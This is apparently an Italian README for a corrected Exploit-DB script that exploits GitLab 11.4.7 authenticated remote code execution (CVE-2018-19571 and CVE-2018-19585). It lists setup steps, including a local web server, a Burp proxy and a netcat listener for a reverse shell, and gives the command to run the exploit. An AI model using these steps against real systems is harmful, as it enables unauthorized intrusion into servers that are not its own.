edb-49263-fixed - GitLab 11.4.7 - Esecuzione di codice remoto autenticata

Versione corretta dello script Python per sfruttare CVE-2018-19571 e CVE-2018-19585 (GitLab 11.4.7 - Esecuzione di codice remoto autenticata) disponibile su https://www.exploit-db.com/exploits/49263 (Python 3.9).

Uso

Modifica lo script e sostituisci l'indirizzo target con l'indirizzo effettivo.

Tieni inoltre presente che devi

1. avere un account utente valido sull'istanza Gitlab target,
2. eseguire un server web (python) sulla porta 80 nella directory da cui viene eseguito lo script,
3. avere un server proxy attivo sulla tua macchina sulla porta 8080 (ad es. BURP con intercept disattivato; l'esecuzione dello script fallirà senza errori se non c'è un server proxy in esecuzione sull'host locale o se rifiuta le connessioni), e
4. avere un listener netcat configurato sulla porta desiderata sulla tua macchina.

Lo script viene quindi eseguito come segue:

python3 49263.py -U username -P password -l local-ip -p local-port-for-netcat-listener